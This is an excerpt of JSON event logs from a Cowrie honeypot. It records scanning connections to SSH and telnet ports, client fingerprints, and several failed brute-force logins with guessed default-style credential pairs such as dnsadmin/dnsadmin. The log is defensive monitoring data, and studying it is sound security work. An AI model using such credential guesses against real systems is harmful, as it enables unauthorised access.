{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:53.304859Z","src_ip":"80.94.92.182","session":"9d4dc0d7ae08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:53.438422Z","src_ip":"80.94.92.182","session":"9d4dc0d7ae08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.485992193222046,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:54.213341Z","src_ip":"114.23.51.89","session":"061c124eb0cc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:54.218392Z","src_ip":"80.94.92.182","session":"9d4dc0d7ae08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.990575075149536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:54.227587Z","src_ip":"114.23.51.89","session":"8258da565f6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"20.244.18.126","src_port":56784,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e8bc20c3267","protocol":"ssh","message":"New connection: 20.244.18.126:56784 (10.17.0.5:22) [session: 8e8bc20c3267]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:54.453815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:54.458832Z","src_ip":"20.244.18.126","session":"8e8bc20c3267","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:54.655151Z","src_ip":"20.244.18.126","session":"8e8bc20c3267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:55.336447Z","src_ip":"80.94.92.182","session":"9d4dc0d7ae08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cftest","password":"cftest","message":"login attempt [cftest/cftest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:55.460800Z","src_ip":"20.244.18.126","session":"8e8bc20c3267","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":60922,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c664644fc67","protocol":"telnet","message":"New connection: 23.254.167.244:60922 (159.203.135.109:23) [session: 9c664644fc67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:55.481620Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":35172,"dst_ip":"159.203.135.109","dst_port":23,"session":"e50838846104","protocol":"telnet","message":"New connection: 114.23.51.89:35172 (159.203.135.109:23) [session: e50838846104]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:56.166174Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:56.656223Z","src_ip":"20.244.18.126","session":"8e8bc20c3267","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.87527060508728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:56.673217Z","src_ip":"114.23.51.89","session":"ee86c4247aef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":34712,"dst_ip":"159.203.135.109","dst_port":23,"session":"a81d4b4f59c8","protocol":"telnet","message":"New connection: 23.254.167.244:34712 (159.203.135.109:23) [session: a81d4b4f59c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:56.766598Z"}
{"eventid":"cowrie.session.closed","duration":33.729127168655396,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:57.862666Z","src_ip":"114.23.51.89","session":"819d2524831a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876386165618896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:58.658242Z","src_ip":"114.23.51.89","session":"e17a630ad34b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.605578899383545,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:14:58.787180Z","src_ip":"23.254.167.244","session":"3a2e41dd055b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98820948600769,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:00.847666Z","src_ip":"114.23.51.89","session":"a575766e69e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.107354164123535,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:01.000067Z","src_ip":"114.23.51.89","session":"fc0269768dbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.545543909072876,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:02.262621Z","src_ip":"114.23.51.89","session":"989f83e835fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.110076904296875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:03.198326Z","src_ip":"114.23.51.89","session":"630e05fa8074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.799426794052124,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:04.529740Z","src_ip":"114.23.51.89","session":"b672ace7ea8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.11942219734192,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:04.814457Z","src_ip":"209.159.146.115","session":"5fb31a2b7f49","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34802,"dst_ip":"159.203.135.109","dst_port":23,"session":"e21311c65e1f","protocol":"telnet","message":"New connection: 114.23.51.89:34802 (159.203.135.109:23) [session: e21311c65e1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:05.935756Z"}
{"eventid":"cowrie.session.closed","duration":38.49880242347717,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:05.970558Z","src_ip":"209.159.146.115","session":"8ec911d0dc00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.322577714920044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:06.256636Z","src_ip":"114.23.51.89","session":"3753c88d34ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.122843742370605,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:07.013163Z","src_ip":"114.23.51.89","session":"c87e6dd0409c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":34804,"dst_ip":"159.203.135.109","dst_port":23,"session":"22d1f3576170","protocol":"telnet","message":"New connection: 114.23.51.89:34804 (159.203.135.109:23) [session: 22d1f3576170]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:07.207444Z"}
{"eventid":"cowrie.session.closed","duration":39.71444535255432,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:07.238649Z","src_ip":"23.254.167.244","session":"147c1b557fe9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.050392389297485,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:07.982873Z","src_ip":"23.254.167.244","session":"229611ac3d42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73154044151306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:08.435479Z","src_ip":"114.23.51.89","session":"82870df6bf61","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40528,"dst_ip":"159.203.135.109","dst_port":23,"session":"d48ba3219d84","protocol":"telnet","message":"New connection: 114.23.51.89:40528 (159.203.135.109:23) [session: d48ba3219d84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:09.750461Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40516,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e3cd4a8e7a7","protocol":"telnet","message":"New connection: 114.23.51.89:40516 (159.203.135.109:23) [session: 5e3cd4a8e7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:09.896168Z"}
{"eventid":"cowrie.session.closed","duration":31.436241626739502,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:10.433927Z","src_ip":"114.23.51.89","session":"680143020329","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.06994032859802,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:10.646319Z","src_ip":"209.159.146.115","session":"13ae437a4635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316843509674072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:12.342480Z","src_ip":"114.23.51.89","session":"1e001845e1fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"74.87.117.149","src_port":47669,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ad6eaa5d30f","protocol":"ssh","message":"New connection: 74.87.117.149:47669 (10.17.0.5:22) [session: 4ad6eaa5d30f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:12.762178Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:12.767543Z","src_ip":"74.87.117.149","session":"4ad6eaa5d30f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:12.791785Z","src_ip":"74.87.117.149","session":"4ad6eaa5d30f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dnsadmin","password":"dnsadmin","message":"login attempt [dnsadmin/dnsadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:12.920070Z","src_ip":"74.87.117.149","session":"4ad6eaa5d30f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.84646701812744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:13.519194Z","src_ip":"114.23.51.89","session":"d3b22e07ce5a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:13.946705Z","src_ip":"74.87.117.149","session":"4ad6eaa5d30f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.486893892288208,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:14.537023Z","src_ip":"114.23.51.89","session":"f8cce76933f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10071396827698,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:14.697452Z","src_ip":"114.23.51.89","session":"a366d12c3fa4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.248571395874023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:14.841434Z","src_ip":"114.23.51.89","session":"4784df567aff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40536,"dst_ip":"159.203.135.109","dst_port":23,"session":"091b2e4a42fb","protocol":"telnet","message":"New connection: 114.23.51.89:40536 (159.203.135.109:23) [session: 091b2e4a42fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:14.939698Z"}
{"eventid":"cowrie.session.closed","duration":32.67612409591675,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:15.720830Z","src_ip":"114.23.51.89","session":"8b943cb73d46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71318817138672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:16.350255Z","src_ip":"114.23.51.89","session":"11c980fd5665","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":40552,"dst_ip":"159.203.135.109","dst_port":23,"session":"c45444476032","protocol":"telnet","message":"New connection: 114.23.51.89:40552 (159.203.135.109:23) [session: c45444476032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:16.491181Z"}
{"eventid":"cowrie.session.closed","duration":30.706764698028564,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:17.570314Z","src_ip":"114.23.51.89","session":"7ba6a7db9f04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39666,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cf6222071ad","protocol":"telnet","message":"New connection: 114.23.51.89:39666 (159.203.135.109:23) [session: 2cf6222071ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:17.840185Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33378,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f55404d9eb5","protocol":"telnet","message":"New connection: 23.254.167.244:33378 (159.203.135.109:23) [session: 2f55404d9eb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:18.537131Z"}
{"eventid":"cowrie.session.closed","duration":34.889137268066406,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:18.850738Z","src_ip":"23.254.167.244","session":"64e8981a8055","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.43653678894043,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:20.272747Z","src_ip":"114.23.51.89","session":"579caa43c6c4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.50831747055054,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:22.319316Z","src_ip":"23.254.167.244","session":"fce4e3c60bd1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":35040,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ff493e670ff","protocol":"ssh","message":"New connection: 157.66.34.121:35040 (159.203.135.109:22) [session: 2ff493e670ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:22.432853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:22.437773Z","src_ip":"157.66.34.121","session":"2ff493e670ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39492,"dst_ip":"159.203.135.109","dst_port":23,"session":"31b0393015a0","protocol":"telnet","message":"New connection: 23.254.167.244:39492 (159.203.135.109:23) [session: 31b0393015a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:22.621966Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:22.674673Z","src_ip":"157.66.34.121","session":"2ff493e670ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":39770,"dst_ip":"159.203.135.109","dst_port":23,"session":"86edd8a84896","protocol":"telnet","message":"New connection: 23.254.167.244:39770 (159.203.135.109:23) [session: 86edd8a84896]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:22.783597Z"}
{"eventid":"cowrie.login.failed","username":"peuser","password":"userpe","message":"login attempt [peuser/userpe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:23.649409Z","src_ip":"157.66.34.121","session":"2ff493e670ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:24.888104Z","src_ip":"157.66.34.121","session":"2ff493e670ff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"114.23.51.89","src_port":39690,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b34567a7971","protocol":"telnet","message":"New connection: 114.23.51.89:39690 (159.203.135.109:23) [session: 9b34567a7971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:24.966361Z"}
{"eventid":"cowrie.session.closed","duration":34.295912742614746,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:15:25.042296Z","src_ip":"23.254.167.244","session":"27733b891318","protocol":"telnet"}
